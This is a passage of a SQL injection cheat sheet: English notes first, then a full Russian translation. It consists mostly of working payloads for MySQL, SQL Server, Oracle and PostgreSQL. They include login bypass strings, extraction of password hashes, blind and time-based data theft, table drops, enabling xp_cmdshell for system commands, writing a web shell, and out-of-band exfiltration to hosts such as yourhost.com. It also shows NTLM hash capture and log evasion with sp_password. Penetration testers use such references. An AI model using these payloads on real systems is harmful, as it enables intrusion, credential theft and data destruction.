    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10); 
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security reasons(!). So if you add —sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logstry to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book
    1. product.asp?name=Bo'%2b'ok
    2. product.asp?name=Bo' || 'ok (OM)
    3. product.asp?name=Book' OR 'x'='x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing files)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile 
    • By default it’s not available !
      • create table foo( line blob ); 
        load data infile 'c:/boot.ini' into table foo; 
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); 
    Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

  • MD5() 
    MD5 Hashing
  • SHA1() 
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS() 
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION() 
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + ' 
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S) 
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}.yourhost.com
  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com

    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||») FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

Source: https://www.pcwdld.com/sql-cheat-sheet


Шпаргалка по SQL инъекциям

Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL, Microsoft SQL Server, ORACLE и PostgreSQL.

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
• M (MySQL);
• S (SQL Server);
• O (Oracle);
• P (PostgreSQL);
• + (возможно на других БД);
• * (требуются специальные условия).

1. Строчные комментарии
Комментарии, как правило, полезны для игнорирования части запроса.
Синтаксис:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Пример:
Username: admin' --
Сгенерированный запрос: SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при ID=10, если MySQL версии выше 3.23.02

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.

sql-cheat-sheet
Зелёный — поддерживается; чёрный — не поддерживается; серый — неизвестно.
Синтаксис:
; (S): SELECT * FROM members; DROP members--
Один запрос закончился, следующий начался.
Пример:
ID: 10;DROP members --
Сгенерированный запрос: SELECT * FROM products WHERE id = 10; DROP members--
Этот запрос удалит таблицу members после обычного запроса.

4. Условные операторы
Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
Синтаксис:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,'true','false')
IF condition true-part ELSE false-part (S): IF (1=1) SELECT 'true' ELSE SELECT 'false'
IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;
пример:
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + '-' + password FROM members
|| (*MO): SELECT login || '-' || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII('a')
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

9. Оператор UNION
С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
Пример:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Это позволит объединить результаты из таблиц news и members

10. Обход проверки подлинности (SMO+)
Примеры:
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
ORDER BY 1--
ORDER BY 2--
ORDER BY 3—
………………..
Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

13. Определение типа данных
Всегда используйте UNION вместе с ALL.
Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
Примеры:
' union select sum(columntofind) from users-- (S) :
Если вы не получаете сообщение об ошибке, значит столбец является числовым.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

16. Сложная вставка (S)
Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
Синтаксис:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Затем вы можете в ней найти пути приложения.
Пример:
1. Создать таблицу foo( строка типа varchar(8000) )
2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
3. Удалите временную таблицу и повторите для другого файла.

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping '

20. Специальные таблицы в SQL Server (S)
Примеры:
Сообщения об ошибках: master..sysmessages
Связанные серверы: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005 : sys.sql_logins

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

22. MSSQL Bulk Notes
Примеры:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
';shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = 'U'
Получение пользовательских таблиц

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
... WHERE users NOT IN ('First User', 'Second User')
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

28. Быстрый способ извлечь данные из Error Based SQL-инъекции в SQL Server (S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

29. Поиск структуры БД в MySQL (M)
Примеры:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'
Получение пользовательских таблиц

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'
Получение названий столбцов

30. Поиск структуры БД в Oracle (O)
Примеры:
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Получение пользовательских таблиц

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
Получение названий столбцов

31. Слепые инъекции
В качественном приложении вы не сможете увидеть сообщения об ошибках. Вы не сможете использовать оператор UNION и Error Based атаки. Вам придётся использовать слепые SQL-инъекции для извлечения данных. Существует два типа слепых инъекций.
Обычная слепая инъекция: вы не можете видеть результаты запросов на странице, но можете определить результат из ответа или HTTP-статуса.
Полностью слепая инъекция: Вы не увидите никакой разницы в выходных данных.
В обычных слепых инъекциях вы можете использовать операторы IF и WHERE, в полностью слепых инъекциях вам нужно использовать некоторые функции ожидания и сравнивать время отклика. Для этого можно использовать WAIT FOR DELAY ‘0:0:10’ в SQL Server, BENCHMARK() и sleep(10) в MySQL, pg_sleep(10) в PostgreSQL.
Пример:
Этот пример основан на реальной эксплуатации слепой инъекции на SQL Server.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>79--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

Исходя из двух последних запросов мы точно знаем значение первого символа в ascii – это 80. Значит, первый символ это `P`. Таким образом мы можем узнать названия таблиц и их содержимое. Другой способ – читать данные побитово.

32. Полностью слепая инъекция
Используйте данный метод только в случае действительно слепой инъекции. Будьте осторожны со временем ожидания.
Синтаксис:
WAIT FOR DELAY 'time' (S)
Функция просто ждёт указанное время, не загружая процессор.
Примеры:
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID =1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--
Синтаксис:
BENCHMARK(howmanytimes, do this) (M)
Пример:
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
Проверяем наличие пользователя root.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Проверяем наличие таблицы в MySQL
Синтаксис:
pg_sleep(seconds) (P)
Sleep for supplied seconds.

sleep(seconds) (M)
sleep for supplied seconds.

bms_pipe.receive_message (O)
sleep for supplied seconds.
Пример:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
{INJECTION} – ваш запрос.
Если условие истинно, отклик будет 10 секунд. В противном случае отклик будет 1 секунду.

33. Полезные функции MySQL
Синтаксис:
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()

34. Second Order SQL Injections
Обычно, вы вставляете запрос для SQL-инъекции в поле и ожидаете, что он не отфильтруется.
Пример:
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com
Если приложение использует имя поля хранимой процедуры или функции, то вы можете использовать это для инъекции.

35. Использование SQL Server для извлечения NTLM-хешей
Данная атака поможет получить через SQL Server пароль пользователя Windows целевого сервера, если нет доступа извне. Мы можем заставить SQL Server подключиться к Windows по UNC-пути и извлечь NTLM-сессию специальными инструментами, например Cain & Abel.

Синтаксис:
UNC-путь: '\\YOURIPADDRESS\C$\x.txt'
36. Другие примеры инъекций
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
создаёт DNS-запрос к {INJECTION}.yourhost.com
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q
создаёт DNS-запрос к {INJECTION}.yourhost.com

{INJECTION} — ваш запрос.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\')))
Создаёт NBNS/DNS-запрос к yourhost.com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')
Записывает данные в ваш файл
{INJECTION} — ваш запрос.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
Сниффер будет сохранять результаты
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
Результаты будут сохранены HTTP-логи
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
{INJECTION} — ваш запрос.

Этот материал является адаптивным переводом статьи SQL Injection Cheat Sheet.

Источник: defcon.ru | Source: netsparker.com | HTML-version ENG | HTML-version RUS